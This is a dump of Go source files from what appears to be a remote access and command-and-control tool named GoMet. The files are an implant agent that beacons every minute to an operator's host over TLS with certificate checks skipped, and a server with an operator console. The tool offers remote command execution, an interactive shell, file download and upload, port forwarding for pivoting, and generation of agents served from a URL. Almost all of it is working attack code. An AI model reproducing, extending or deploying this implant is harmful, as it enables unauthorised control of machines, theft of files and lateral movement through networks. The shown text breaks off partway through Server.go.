17 | Stop() 18 | String() string 19 | } 20 | 21 | 22 | // Execute command 23 | // --------------- 24 | 25 | type Execute struct { 26 | writer io.Writer 27 | command string 28 | stream *smux.Stream 29 | } 30 | 31 | func (e *Execute) GetRemoteCommand() string { 32 | return "0\n" + e.command + "\n" 33 | } 34 | 35 | func (e *Execute) Start(session *smux.Session, registry *Registry, logger *LogWriter) { 36 | 37 | e.stream = acceptNewStream(session) 38 | 39 | if e.stream == nil { 40 | return 41 | } 42 | 43 | defer e.stream.Close() 44 | 45 | log.Printf("Execute command %s", e.command) 46 | 47 | io.Copy(io.MultiWriter(e.writer, logger), e.stream) 48 | 49 | log.Println("Done") 50 | } 51 | 52 | func (e *Execute) Stop() { 53 | if e.stream != nil { 54 | e.stream.Close() 55 | } 56 | } 57 | 58 | func (e *Execute) IsJob() bool { 59 | return false 60 | } 61 | 62 | func (e *Execute) String() string { 63 | return "Execute " + e.command 64 | } 65 | 66 | 67 | // Download command 68 | // ---------------- 69 | 70 | type Download struct { 71 | writer io.Writer 72 | remoteFilename string 73 | stream *smux.Stream 74 | } 75 | 76 | func (d *Download) GetRemoteCommand() string { 77 | return "1\n" + d.remoteFilename + "\n" 78 | } 79 | 80 | func (d *Download) Start(session *smux.Session, registry *Registry, logger *LogWriter) { 81 | 82 | d.stream = acceptNewStream(session) 83 | 84 | if d.stream == nil { 85 | return 86 | } 87 | 88 | defer d.stream.Close() 89 | 90 | log.Printf("Download file %s", d.remoteFilename) 91 | 92 | io.Copy(io.MultiWriter(d.writer, logger), d.stream) 93 | 94 | log.Println("Done") 95 | } 96 | 97 | func (d *Download) Stop() { 98 | if d.stream != nil { 99 | d.stream.Close() 100 | } 101 | } 102 | 103 | func (e *Download) IsJob() bool { 104 | return false 105 | } 106 | 107 | func (e *Download) String() string { 108 | return "Downloading " + e.remoteFilename 109 | } 110 | 111 | 112 | // Upload command 113 | // -------------- 114 | 115 | type Upload struct { 116 | reader io.Reader 117 | remoteFilename string 118 | stream *smux.Stream 119 | } 120 | 121 | func (u *Upload) GetRemoteCommand() string { 122 | return "2\n" + u.remoteFilename + "\n" 123 | } 124 | 125 | func (u *Upload) Start(session *smux.Session, registry *Registry, logger *LogWriter) { 126 | 127 | u.stream = acceptNewStream(session) 128 | 129 | if u.stream == nil { 130 | return 131 | } 132 | 133 | defer u.stream.Close() 134 | 135 | log.Printf("Upload file %s", u.remoteFilename) 136 | 137 | io.Copy(io.MultiWriter(u.stream, logger), u.reader) 138 | 139 | log.Println("Done") 140 | } 141 | 142 | func (u *Upload) Stop() { 143 | if u.stream != nil { 144 | u.stream.Close() 145 | } 146 | } 147 | 148 | func (e *Upload) IsJob() bool { 149 | return false 150 | } 151 | 152 | func (e *Upload) String() string { 153 | return "Uploading " + e.remoteFilename 154 | } 155 | 156 | 157 | // Shell command 158 | // ------------- 159 | 160 | type Shell struct { 161 | writer io.Writer 162 | reader io.Reader 163 | stream *smux.Stream 164 | } 165 | 166 | func (s *Shell) GetRemoteCommand() string { 167 | return "3\n" 168 | } 169 | 170 | func (s *Shell) Start(session *smux.Session, registry *Registry, logger *LogWriter) { 171 | 172 | s.stream = acceptNewStream(session) 173 | if s.stream == nil { 174 | return 175 | } 176 | 177 | defer s.stream.Close() 178 | 179 | log.Printf("New shell") 180 | 181 | var wg sync.WaitGroup 182 | wg.Add(2) 183 | 184 | go func() { 185 | io.Copy(io.MultiWriter(s.stream, logger), s.reader) 186 | wg.Done() 187 | }() 188 | 189 | go func() { 190 | io.Copy(io.MultiWriter(s.writer, logger), s.stream) 191 | wg.Done() 192 | fmt.Printf("Press \"Enter\" to close") 193 | }() 194 | 195 | s.stream.Write([]byte("\n")) 196 | 197 | wg.Wait() 198 | 199 | log.Println("Done") 200 | } 201 | 202 | func (s *Shell) Stop() { 203 | if s.stream != nil { 204 | s.stream.Close() 205 | } 206 | } 207 | 208 | func (e *Shell) IsJob() bool { 209 | return false 210 | } 211 | 212 | func (e *Shell) String() string { 213 | return "Interactive shell" 214 | } 215 | 216 | 217 | // Listen command 218 | // -------------- 219 | 220 | type Listen struct { 221 | localAddress string 222 | remoteAddress string 223 | stream *smux.Stream 224 | } 225 | 226 | func (l *Listen) GetRemoteCommand() string { 227 | return "4\n" + l.remoteAddress + "\n" 228 | } 229 | 230 | func (l *Listen) Start(session *smux.Session, registry *Registry, logger *LogWriter) { 231 | 232 | l.stream = acceptNewStream(session) 233 | if l.stream == nil { 234 | return 235 | } 236 | 237 | go func() { 238 | 239 | defer l.stream.Close() 240 | 241 | reader := bufio.NewReader(l.stream) 242 | 243 | for { 244 | log.Println("Wait for remote connection...") 245 | _, _, err := reader.ReadLine() 246 | if err != nil { 247 | log.Printf("ERROR %s", err) 248 | break 249 | } 250 | 251 | _, err = l.stream.Write([]byte("OK\n")) 252 | if err != nil { 253 | log.Printf("ERROR %s", err) 254 | break 255 | } 256 | 257 | log.Println("Open stream") 258 | listenStream, err := session.OpenStream() 259 | if err != nil { 260 | log.Printf("ERROR %s", err) 261 | break 262 | } 263 | 264 | log.Println("Connect to local Address") 265 | conn, err := net.Dial("tcp", l.localAddress) 266 | if err != nil { 267 | log.Printf("ERROR %s", err) 268 | listenStream.Close() 269 | continue 270 | } 271 | 272 | go handleConnection(conn, listenStream, registry) 273 | } 274 | }() 275 | } 276 | 277 | func (l *Listen) Stop() { 278 | if l.stream != nil { 279 | log.Println("Closing command stream") 280 | l.stream.Close() 281 | } 282 | } 283 | 284 | func (l *Listen) IsJob() bool { 285 | return true 286 | } 287 | 288 | func (l *Listen) String() string { 289 | return "Remote " + l.remoteAddress + " to local " + l.localAddress 290 | } 291 | 292 | 293 | // Connect command 294 | // -------------- 295 | 296 | type Connect struct { 297 | localAddress string 298 | remoteAddress string 299 | listen net.Listener 300 | session *Session 301 | } 302 | 303 | func (l *Connect) GetRemoteCommand() string { 304 | return "" 305 | } 306 | 307 | func (l *Connect) Start(session *smux.Session, registry *Registry, logger *LogWriter) { 308 | 309 | go func() { 310 | var err error 311 | l.listen, err = net.Listen("tcp", l.localAddress) 312 | if err != nil { 313 | log.Printf("ERROR %s", err) 314 | return 315 | } 316 | 317 | defer l.listen.Close() 318 | 319 | for { 320 | log.Printf("Waiting for connection on %s...\n", l.localAddress) 321 | conn, err := l.listen.Accept() 322 | if err != nil { 323 | log.Printf("ERROR %s", err) 324 | break 325 | } 326 | 327 | l.session.ConnectToRemote(conn, l.remoteAddress) 328 | } 329 | }() 330 | } 331 | 332 | func (l *Connect) Stop() { 333 | if l.listen != nil { 334 | l.listen.Close() 335 | } 336 | } 337 | 338 | func (l *Connect) IsJob() bool { 339 | return true 340 | } 341 | 342 | func (l *Connect) String() string { 343 | return "Local " + l.localAddress + " to remote " + l.remoteAddress 344 | } 345 | -------------------------------------------------------------------------------- /agent/Main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "crypto/sha256" 6 | "crypto/tls" 7 | "crypto/x509" 8 | "encoding/base64" 9 | "encoding/hex" 10 | "errors" 11 | "github.com/nightlyone/lockfile" 12 | "github.com/robfig/cron" 13 | "github.com/xtaci/smux" 14 | "io" 15 | "net" 16 | "os" 17 | "path/filepath" 18 | "runtime" 19 | "strconv" 20 | "strings" 21 | "sync" 22 | "time" 23 | ) 24 | 25 | var ( 26 | httpProxyHost string 27 | httpsProxyHost string 28 | proxyUsername string 29 | proxyPassword string 30 | connectHost string 31 | pubKeySum string 32 | 33 | connTimeout = 60 * time.Second 34 | connected = false 35 | ) 36 | 37 | func main() { 38 | lock, err := lockfile.New(filepath.Join(os.TempDir(), getLockfileName())) 39 | if err != nil { 40 | return 41 | } 42 | 43 | err = lock.TryLock() 44 | if err != nil { 45 | return 46 | } 47 | 48 | defer lock.Unlock() 49 | 50 | var wg sync.WaitGroup 51 | wg.Add(1) 52 | 53 | go serve() 54 | 55 | c := cron.New() 56 | c.AddFunc("0 * * * * *", serve) 57 | c.Start() 58 | 59 | wg.Wait() 60 | } 61 | 62 | 63 | 64 | func getLockfileName() string { 65 | return "." + getHexSumFromString(connectHost + httpProxyHost + httpsProxyHost + proxyUsername + proxyPassword) 66 | } 67 | 68 | func serve() { 69 | if connected { 70 | return 71 | } 72 | connected = true 73 | 74 | var wg sync.WaitGroup 75 | wg.Add(1) 76 | 77 | a := NewAgent(&wg) 78 | a.Start() 79 | 80 | wg.Wait() 81 | 82 | connected = false 83 | } 84 | 85 | func getHexSum(value []byte) string { 86 | hash := sha256.New() 87 | hash.Write(value) 88 | sum := hash.Sum(nil) 89 | return hex.EncodeToString(sum) 90 | } 91 | 92 | func getHexSumFromString(value string) string { 93 | return getHexSum([]byte(value)) 94 | } 95 | 96 | func getSystemInfo() string { 97 | var info string 98 | 99 | info += runtime.GOOS + "|" 100 | info += runtime.GOARCH + "|" 101 | hostname, err := os.Hostname() 102 | if err != nil { 103 | hostname = "unknown" 104 | } 105 | 106 | info += hostname + "\n" 107 | 108 | return info 109 | } 110 | 111 | func readString(reader *bufio.Reader) string { 112 | line, _, _ := reader.ReadLine() 113 | return string(line) 114 | } 115 | 116 | func openNewStream(session *smux.Session) *smux.Stream { 117 | stream, err := session.OpenStream() 118 | if err != nil { 119 | return nil 120 | } 121 | return stream 122 | } 123 | 124 | func handleConnection(conn net.Conn, stream *smux.Stream) { 125 | defer conn.Close() 126 | defer stream.Close() 127 | 128 | var wg sync.WaitGroup 129 | wg.Add(2) 130 | 131 | go func() { 132 | io.Copy(stream, conn) 133 | stream.Close() 134 | wg.Done() 135 | }() 136 | 137 | go func() { 138 | io.Copy(conn, stream) 139 | conn.Close() 140 | wg.Done() 141 | }() 142 | 143 | wg.Wait() 144 | } 145 | 146 | /* ------------------ 147 | Agent 148 | -------------------- */ 149 | 150 | type Agent struct { 151 | wg *sync.WaitGroup 152 | conn *tls.Conn 153 | session *smux.Session 154 | } 155 | 156 | func NewAgent(wg *sync.WaitGroup) *Agent { 157 | return &Agent{ 158 | wg: wg, 159 | } 160 | } 161 | 162 | func (a *Agent) Start() { 163 | err := a.connectToRemote() 164 | if err == nil { 165 | a.handleSession() 166 | } 167 | a.wg.Done() 168 | } 169 | 170 | func (a *Agent) connectToRemote() error { 171 | var rawConn net.Conn 172 | var err error 173 | 174 | config := tls.Config{ InsecureSkipVerify: true} 175 | 176 | if httpsProxyHost != "" { 177 | rawConn, err = tls.Dial("tcp", httpsProxyHost, &config) 178 | if err != nil { 179 | return err 180 | } 181 | err = a.connectToProxy(rawConn) 182 | } else if httpProxyHost != "" { 183 | rawConn, err = net.DialTimeout("tcp", httpProxyHost, connTimeout) 184 | if err != nil { 185 | return err 186 | } 187 | err = a.connectToProxy(rawConn) 188 | } else { 189 | rawConn, err = net.DialTimeout("tcp", connectHost, connTimeout) 190 | } 191 | 192 | if err != nil { 193 | return err 194 | } 195 | 196 | rawConn.SetDeadline(time.Now().Add(connTimeout)) 197 | 198 | a.conn = tls.Client(rawConn, &config) 199 | 200 | err = a.conn.Handshake() 201 | if err != nil { 202 | return err 203 | } 204 | 205 | rawConn.SetDeadline(time.Time{}) 206 | 207 | err = a.checkServerPubKey() 208 | if err != nil { 209 | a.conn.Close() 210 | } 211 | 212 | return err 213 | } 214 | 215 | func (a *Agent) checkServerPubKey() error { 216 | if pubKeySum == "" { 217 | return nil 218 | } 219 | 220 | connectionState := a.conn.ConnectionState() 221 | if len(connectionState.PeerCertificates) == 0 { 222 | return errors.New("") 223 | } 224 | 225 | key, _ := x509.MarshalPKIXPublicKey(a.conn.ConnectionState().PeerCertificates[0].PublicKey) 226 | serverPubKeySum := getHexSum(key) 227 | 228 | if !strings.EqualFold(pubKeySum, serverPubKeySum) { 229 | return errors.New("") 230 | } 231 | return nil 232 | } 233 | 234 | func (a *Agent) connectToProxy(conn net.Conn) error { 235 | proxyRequest := "CONNECT " + connectHost + " HTTP/1.1\n" 236 | if proxyUsername != "" { 237 | authorization := []byte(proxyUsername + ":" + proxyPassword) 238 | proxyRequest += "Proxy-Authorization: basic " + base64.StdEncoding.EncodeToString(authorization) + "\n" 239 | } 240 | proxyRequest += "\n" 241 | _, err := conn.Write([]byte(proxyRequest)) 242 | 243 | bufio.NewReader(conn).ReadLine() 244 | 245 | return err 246 | } 247 | 248 | func (a *Agent) handleSession() { 249 | 250 | a.conn.Write([]byte("CONNECT / HTTP/1.1\n\n")) 251 | 252 | defer a.conn.Close() 253 | 254 | var err error 255 | 256 | a.session, err = smux.Server(a.conn, nil) 257 | if err != nil { 258 | return 259 | } 260 | defer a.session.Close() 261 | 262 | inputCommandStream, err := a.session.AcceptStream() 263 | if err != nil { 264 | return 265 | } 266 | defer inputCommandStream.Close() 267 | 268 | _, err = inputCommandStream.Write([]byte(getSystemInfo())) 269 | if err != nil { 270 | return 271 | } 272 | 273 | reader := bufio.NewReader(inputCommandStream) 274 | 275 | loop: 276 | for true { 277 | 278 | line, _, err := reader.ReadLine() 279 | if err != nil { 280 | break 281 | } 282 | 283 | command, _ := strconv.Atoi(string(line)) 284 | switch command { 285 | case 0: 286 | go a.execute(readString(reader)) 287 | break 288 | case 1: 289 | go a.download(readString(reader)) 290 | break 291 | case 2: 292 | go a.upload(readString(reader)) 293 | break 294 | case 3: 295 | go a.shell() 296 | break 297 | case 4: 298 | go a.listen(readString(reader)) 299 | break 300 | case 5: 301 | go a.connect(readString(reader)) 302 | break 303 | case 6: 304 | break loop 305 | default: 306 | break 307 | } 308 | } 309 | } 310 | 311 | func (a *Agent) listen(address string) { 312 | 313 | listenCommandStream, err := a.session.OpenStream() 314 | if err != nil { 315 | return 316 | } 317 | 318 | defer listenCommandStream.Close() 319 | 320 | reader := bufio.NewReader(listenCommandStream) 321 | 322 | ln, err := net.Listen("tcp", address) 323 | if err != nil { 324 | return 325 | } 326 | 327 | defer ln.Close() 328 | 329 | for { 330 | conn, err := ln.Accept() 331 | if err != nil { 332 | break 333 | } 334 | 335 | _, err = listenCommandStream.Write([]byte("listen\n")) 336 | if err != nil { 337 | conn.Close() 338 | break 339 | } 340 | 341 | _, _, err = reader.ReadLine() 342 | if err != nil { 343 | conn.Close() 344 | break 345 | } 346 | 347 | stream, err := a.session.AcceptStream() 348 | if err != nil { 349 | conn.Close() 350 | break 351 | } 352 | 353 | go handleConnection(conn, stream) 354 | } 355 | } 356 | 357 | func (a *Agent) connect(address string) { 358 | 359 | listenStream, err := a.session.OpenStream() 360 | if err != nil { 361 | return 362 | } 363 | 364 | conn, err := net.Dial("tcp", string(address)) 365 | if err != nil { 366 | listenStream.Close() 367 | return 368 | } 369 | 370 | go handleConnection(conn, listenStream) 371 | } 372 | 373 | func (a *Agent) download(filename string) { 374 | 375 | stream := openNewStream(a.session) 376 | 377 | if stream == nil { 378 | return 379 | } 380 | 381 | defer stream.Close() 382 | 383 | file, err := os.OpenFile(filename, os.O_RDONLY, 0755) 384 | if err != nil { 385 | return 386 | } 387 | 388 | defer file.Close() 389 | 390 | io.Copy(stream, file) 391 | } 392 | 393 | func (a *Agent) upload(filename string) { 394 | 395 | stream := openNewStream(a.session) 396 | 397 | if stream == nil { 398 | return 399 | } 400 | 401 | defer stream.Close() 402 | 403 | file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0755) 404 | if err != nil { 405 | return 406 | } 407 | 408 | defer file.Close() 409 | 410 | io.Copy(file, stream) 411 | 412 | } -------------------------------------------------------------------------------- /gomet/CLI.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "github.com/abiosoft/ishell" 5 | "io/ioutil" 6 | "log" 7 | "os" 8 | "strconv" 9 | ) 10 | 11 | type CLI struct { 12 | shell *ishell.Shell 13 | server *Server 14 | currentSession *Session 15 | } 16 | 17 | func NewCLI(server *Server) *CLI { 18 | return &CLI{ 19 | shell:ishell.New(), 20 | server: server, 21 | } 22 | } 23 | 24 | func (c *CLI) Start() { 25 | 26 | c.shell.Println("\n") 27 | c.shell.Println(" ____ __ __ _ ") 28 | c.shell.Println(" / ___| ___ | \\/ | ___| |_") 29 | c.shell.Println(" | | _ / _ \\| |\\/| |/ _ \\ __|") 30 | c.shell.Println(" | |_| | (_) | | | | __/ |_") 31 | c.shell.Println(" \\____|\\___/|_| |_|\\___|\\__|") 32 | c.shell.Println(" by Mimah\n\n") 33 | 34 | c.server.RegisterSessionListener(c) 35 | c.registerServerCommands() 36 | } 37 | 38 | func (t *CLI) registerServerCommands() { 39 | 40 | t.shell.Close() 41 | t.shell = ishell.New() 42 | t.shell.SetPrompt("server > ") 43 | 44 | // remove default exit command 45 | t.shell.DeleteCmd("exit") 46 | 47 | t.shell.AddCmd(&ishell.Cmd{ 48 | Name: "exit", 49 | Help: "Exit", 50 | Func: t.exit, 51 | }) 52 | 53 | // Sessions 54 | sessionsCmd := ishell.Cmd{ 55 | Name: "sessions", 56 | Help: "List sessions", 57 | Func: t.listSessions, 58 | } 59 | 60 | t.shell.AddCmd(&sessionsCmd) 61 | 62 | sessionsCmd.AddCmd(&ishell.Cmd{ 63 | Name: "open", 64 | Help: "Open session", 65 | Func: t.openSession, 66 | }) 67 | 68 | sessionsCmd.AddCmd(&ishell.Cmd{ 69 | Name: "close", 70 | Help: "Close session", 71 | Func: t.closeSession, 72 | }) 73 | 74 | // Routes 75 | routesCmd := ishell.Cmd{ 76 | Name: "routes", 77 | Help: "List routes", 78 | Func: t.listRoutes, 79 | } 80 | 81 | t.shell.AddCmd(&routesCmd) 82 | 83 | routesCmd.AddCmd(&ishell.Cmd{ 84 | Name: "add", 85 | Help: "Add a route", 86 | Func: t.addRoute, 87 | }) 88 | 89 | routesCmd.AddCmd(&ishell.Cmd{ 90 | Name: "del", 91 | Help: "Delete a route", 92 | Func: t.delRoute, 93 | }) 94 | 95 | routesCmd.AddCmd(&ishell.Cmd{ 96 | Name: "clear", 97 | Help: "Clear routes", 98 | Func: t.clearRoutes, 99 | }) 100 | 101 | // Agent 102 | t.shell.AddCmd(&ishell.Cmd{ 103 | Name: "generate", 104 | Help: "Generate an agent", 105 | Func: t.generateAgent, 106 | }) 107 | 108 | t.shell.AddCmd(&ishell.Cmd{ 109 | Name: "info", 110 | Help: "Print server information", 111 | Func: t.printInfo, 112 | }) 113 | 114 | t.shell.Start() 115 | } 116 | 117 | 118 | func (t *CLI) registerSessionCommands(sessionId int) { 119 | 120 | t.shell.Close() 121 | t.shell = ishell.New() 122 | t.shell.SetPrompt("session " + strconv.Itoa(sessionId) + " > ") 123 | 124 | t.shell.DeleteCmd("exit") 125 | 126 | t.shell.AddCmd(&ishell.Cmd{ 127 | Name: "close", 128 | Help: "Close session", 129 | Func: t.closeCurrentSession, 130 | }) 131 | 132 | t.shell.AddCmd(&ishell.Cmd{ 133 | Name: "exit", 134 | Help: "Back to server", 135 | Func: t.suspendCurrentSession, 136 | }) 137 | 138 | jobCmd := ishell.Cmd{ 139 | Name: "jobs", 140 | Help: "List jobs", 141 | Func: t.listJobs, 142 | } 143 | 144 | t.shell.AddCmd(&jobCmd) 145 | 146 | jobCmd.AddCmd(&ishell.Cmd{ 147 | Name: "kill", 148 | Help: "Kill a job", 149 | Func: t.killJob, 150 | }) 151 | 152 | streamCmd := ishell.Cmd{ 153 | Name: "streams", 154 | Help: "List streams", 155 | Func: t.listStreams, 156 | } 157 | t.shell.AddCmd(&streamCmd) 158 | 159 | streamCmd.AddCmd(&ishell.Cmd{ 160 | Name: "kill", 161 | Help: "Kill a stream", 162 | Func: t.killStream, 163 | }) 164 | 165 | t.shell.AddCmd(&ishell.Cmd{ 166 | Name: "execute", 167 | Help: "Execute a command", 168 | Func: func(c *ishell.Context) { 169 | t.runCommand(&Execute{ 170 | writer: os.Stdout, 171 | command: readParameter(c, "Command: "), 172 | }) 173 | }, 174 | }) 175 | 176 | t.shell.AddCmd(&ishell.Cmd{ 177 | Name: "upload", 178 | Help: "Upload a file", 179 | Func: func(c *ishell.Context) { 180 | t.currentSession.UploadFile(readParameter(c, "Local file: "), readParameter(c, "Remote file: ")) 181 | }, 182 | }) 183 | 184 | t.shell.AddCmd(&ishell.Cmd{ 185 | Name: "download", 186 | Help: "Download a file", 187 | Func: func(c *ishell.Context) { 188 | t.currentSession.DownloadFile(readParameter(c, "Remote file: "), readParameter(c, "Local file: ")) 189 | }, 190 | }) 191 | 192 | t.shell.AddCmd(&ishell.Cmd{ 193 | Name: "shell", 194 | Help: "Interactive remote shell", 195 | Func: func(c *ishell.Context) { 196 | t.runCommand(&Shell{ 197 | writer: os.Stdout, 198 | reader: os.Stdin, 199 | }) 200 | }, 201 | }) 202 | 203 | t.shell.AddCmd(&ishell.Cmd{ 204 | Name: "ls", 205 | Help: "List files", 206 | Func: func(c *ishell.Context) { 207 | t.runCommand(&Execute{ 208 | writer: os.Stdout, 209 | command: t.server.osCommands[t.currentSession.Os]["ls"], 210 | }) 211 | }, 212 | }) 213 | 214 | t.shell.AddCmd(&ishell.Cmd{ 215 | Name: "getuid", 216 | Help: "Get user Id", 217 | Func: func(c *ishell.Context) { 218 | t.runCommand(&Execute{ 219 | writer: os.Stdout, 220 | command: t.server.osCommands[t.currentSession.Os]["id"], 221 | }) 222 | }, 223 | }) 224 | 225 | t.shell.AddCmd(&ishell.Cmd{ 226 | Name: "pwd", 227 | Help: "Get current directory", 228 | Func: func(c *ishell.Context) { 229 | t.runCommand(&Execute{ 230 | writer: os.Stdout, 231 | command: t.server.osCommands[t.currentSession.Os]["pwd"], 232 | }) 233 | }, 234 | }) 235 | 236 | t.shell.AddCmd(&ishell.Cmd{ 237 | Name: "ps", 238 | Help: "List processes", 239 | Func: func(c *ishell.Context) { 240 | t.runCommand(&Execute{ 241 | writer: os.Stdout, 242 | command: t.server.osCommands[t.currentSession.Os]["ps"], 243 | }) 244 | }, 245 | }) 246 | 247 | t.shell.AddCmd(&ishell.Cmd{ 248 | Name: "netstat", 249 | Help: "List connections", 250 | Func: func(c *ishell.Context) { 251 | t.runCommand(&Execute{ 252 | writer: os.Stdout, 253 | command: t.server.osCommands[t.currentSession.Os]["netstat"], 254 | }) 255 | }, 256 | }) 257 | 258 | t.shell.AddCmd(&ishell.Cmd{ 259 | Name: "cat", 260 | Help: "Print a file", 261 | Func: func(c *ishell.Context) { 262 | t.runCommand(&Download{ 263 | writer: os.Stdout, 264 | remoteFilename: readParameter(c, "Remote file: "), 265 | }) 266 | }, 267 | }) 268 | 269 | t.shell.AddCmd(&ishell.Cmd{ 270 | Name: "listen", 271 | Help: "Connect a remote port to a local Address", 272 | Func: func(c *ishell.Context) { 273 | t.runCommand(&Listen{ 274 | localAddress: readParameter(c,"Local Address: "), 275 | remoteAddress: readParameter(c, "Remote Address: "), 276 | }) 277 | }, 278 | }) 279 | 280 | t.shell.AddCmd(&ishell.Cmd{ 281 | Name: "connect", 282 | Help: "Connect a local port to a remote Address", 283 | Func: func(c *ishell.Context) { 284 | t.runCommand(&Connect{ 285 | localAddress: readParameter(c,"Local Address: "), 286 | remoteAddress: readParameter(c, "Remote Address: "), 287 | session: t.currentSession, 288 | }) 289 | }, 290 | }) 291 | 292 | t.shell.AddCmd(&ishell.Cmd{ 293 | Name: "relay", 294 | Help: "Relay listen", 295 | Func: func(c *ishell.Context) { 296 | t.runCommand(&Listen{ 297 | localAddress: t.server.config.ListenAddr, 298 | remoteAddress: readParameter(c, "Remote Address: "), 299 | }) 300 | }, 301 | }) 302 | 303 | t.shell.Start() 304 | } 305 | 306 | func (t* CLI) exit(c *ishell.Context) { 307 | t.server.Stop() 308 | c.Stop() 309 | } 310 | 311 | func (t *CLI) listSessions(c *ishell.Context) { 312 | 313 | if len(t.server.sessions) == 0 { 314 | c.Println("No sessions") 315 | return 316 | } 317 | 318 | c.Println("Sessions:") 319 | for key, session := range t.server.sessions { 320 | c.Printf("%5d - %s\n", key, session.String()) 321 | } 322 | } 323 | 324 | func (t *CLI) openSession(c *ishell.Context) { 325 | id, err := strconv.Atoi(c.Args[0]) 326 | if err != nil { 327 | c.Print("Invalid session Id") 328 | return 329 | } 330 | 331 | session, err := t.server.GetSession(id) 332 | if err != nil { 333 | c.Print(err) 334 | } else { 335 | t.currentSession = session 336 | t.registerSessionCommands(session.Id) 337 | } 338 | } 339 | 340 | func (t *CLI) closeSession(c *ishell.Context) { 341 | id, err := strconv.Atoi(c.Args[0]) 342 | if err != nil { 343 | c.Print("Invalid session Id") 344 | return 345 | } 346 | 347 | err = t.server.CloseSession(id) 348 | if err != nil { 349 | c.Print(err) 350 | } 351 | } 352 | 353 | 354 | 355 | func (t *CLI) listRoutes(c *ishell.Context) { 356 | if len(t.server.routes) == 0 { 357 | c.Println("No routes") 358 | return 359 | } 360 | 361 | c.Println("Routes:") 362 | for key, session := range t.server.routes { 363 | c.Printf("%s - %s\n", key, session.String()) 364 | } 365 | } 366 | 367 | func (t *CLI) addRoute(c *ishell.Context) { 368 | if len(c.Args) != 2 { 369 | c.Println("Usage: routes add ") 370 | return 371 | } 372 | 373 | id, err := strconv.Atoi(c.Args[1]) 374 | if err != nil { 375 | c.Println("Invalid session Id") 376 | return 377 | } 378 | 379 | err = t.server.AddRoute(c.Args[0], id) 380 | 381 | if err!= nil { 382 | c.Println(err) 383 | } 384 | } 385 | 386 | func (t *CLI) delRoute(c *ishell.Context) { 387 | if len(c.Args) != 1 { 388 | c.Println("Usage: routes del ") 389 | return 390 | } 391 | 392 | err := t.server.DelRoute(c.Args[0]) 393 | 394 | if err != nil { 395 | c.Println(err) 396 | } 397 | } 398 | 399 | func (t *CLI) clearRoutes(c *ishell.Context) { 400 | t.server.ClearRoutes() 401 | } 402 | 403 | func (t *CLI) suspendCurrentSession(c *ishell.Context) { 404 | c.Printf("Session %d suspended\n", t.currentSession.Id) 405 | t.currentSession = nil 406 | t.registerServerCommands() 407 | } 408 | 409 | func (t *CLI) closeCurrentSession(c *ishell.Context) { 410 | err := t.server.CloseSession(t.currentSession.Id) 411 | if err != nil { 412 | c.Print(err) 413 | } 414 | } 415 | 416 | func (t *CLI) listJobs(c *ishell.Context) { 417 | for key, job := range t.currentSession.jobs { 418 | c.Printf("%5d - %s\n", key, *job) 419 | } 420 | } 421 | 422 | func (t *CLI) killJob(c *ishell.Context) { 423 | id, err := strconv.Atoi(c.Args[0]) 424 | if err != nil { 425 | c.Printf("Invalid job Id") 426 | return 427 | } 428 | if job, ok := t.currentSession.jobs[id]; ok { 429 | (*job).Stop() 430 | delete(t.currentSession.jobs, id) 431 | c.Printf("Job %d killed\n", id) 432 | } else { 433 | c.Println("Invalid job Id") 434 | } 435 | } 436 | 437 | func (t *CLI) listStreams(c *ishell.Context) { 438 | for key, stream := range t.currentSession.registry.streams { 439 | c.Printf("%5d - %s <-> %s\n", key, stream.LocalAddr(), stream.RemoteAddr()) 440 | } 441 | } 442 | 443 | func (t *CLI) killStream(c *ishell.Context) { 444 | id, err := strconv.Atoi(c.Args[0]) 445 | if err != nil { 446 | c.Printf("Invalid stream Id") 447 | return 448 | } 449 | if stream, ok := t.currentSession.registry.streams[uint32(id)]; ok { 450 | stream.Close() 451 | delete(t.currentSession.jobs, id) 452 | c.Printf("Stream %d killed\n", id) 453 | } else { 454 | c.Println("Invalid stream Id") 455 | } 456 | } 457 | 458 | func (t *CLI) runCommand(command Command) { 459 | t.currentSession.RunCommand(command) 460 | } 461 | 462 | func (t *CLI) generateAgent(c *ishell.Context) { 463 | 464 | os := readParameter(c, "OS: ") 465 | arch := readParameter(c, "Arch: ") 466 | host := readParameter(c, "Host: ") 467 | 468 | agentContent, err := t.server.GenerateAgent(os, arch, host, readParameter(c, "HTTP proxy: "), readParameter(c, "HTTPS proxy: "), readParameter(c, "Proxy username: "), readParameter(c, "Proxy password: "), t.server.pubKeyHash) 469 | if err != nil { 470 | log.Printf("ERROR %s", err) 471 | return 472 | } 473 | 474 | filename := randomString(15) 475 | err = ioutil.WriteFile("./share/" + filename, agentContent, 0644) 476 | if err != nil { 477 | log.Printf("ERROR %s", err) 478 | return 479 | } 480 | c.Printf("Generated agent URL: https://" + host + "/" + t.server.httpMagic + "/" + filename) 481 | } 482 | 483 | func (t *CLI) printInfo(c *ishell.Context) { 484 | c.Printf("Local listener: %s\n", t.server.config.ListenAddr) 485 | if len(t.server.config.Tunnel.Nodes) > 0 { 486 | c.Printf("Tunnel listener %s\n", t.server.config.Tunnel.ListenAddr) 487 | } 488 | if t.server.config.Socks.Enable { 489 | c.Printf("Socks listener: %s\n", t.server.config.Socks.Addr) 490 | } 491 | if t.server.config.Api.Enable { 492 | c.Printf("API listener: %s\n", t.server.config.Api.Addr) 493 | } 494 | c.Printf("HTTP magic: %s\n", t.server.httpMagic) 495 | } 496 | 497 | /* Session listener */ 498 | 499 | func (t *CLI) NewSession(session *Session) { 500 | t.shell.Printf("New session %d - %s\n", session.Id, session.String()) 501 | } 502 | 503 | func (t *CLI) CloseSession(session *Session) { 504 | if session == t.currentSession { 505 | t.currentSession = nil 506 | t.registerServerCommands() 507 | } 508 | t.shell.Printf("Session %d - %s closed\n", session.Id, session.String()) 509 | } -------------------------------------------------------------------------------- /gomet/Server.go: -------------------------------------------------------------------------------- 1 | package gomet 2 | 3 | import ( 4 | "bufio" 5 | "crypto/rand" 6 | "crypto/sha256" 7 | "crypto/tls" 8 | "encoding/hex" 9 | "encoding/pem" 10 | "github.com/ginuerzh/gosocks5" 11 | "github.com/pkg/errors" 12 | "io" 13 | "io/ioutil" 14 | "log" 15 | "net" 16 | "os" 17 | "os/exec" 18 | "os/user" 19 | "path/filepath" 20 | "regexp" 21 | "strconv" 22 | "strings" 23 | "sync" 24 | ) 25 | 26 | type Server struct { 27 | 28 | config Config 29 | 30 | tunnel *Tunnel 31 | 32 | sessionIndex int 33 | sessions map[int]*Session 34 | 35 | routes map[string]*Session 36 | 37 | 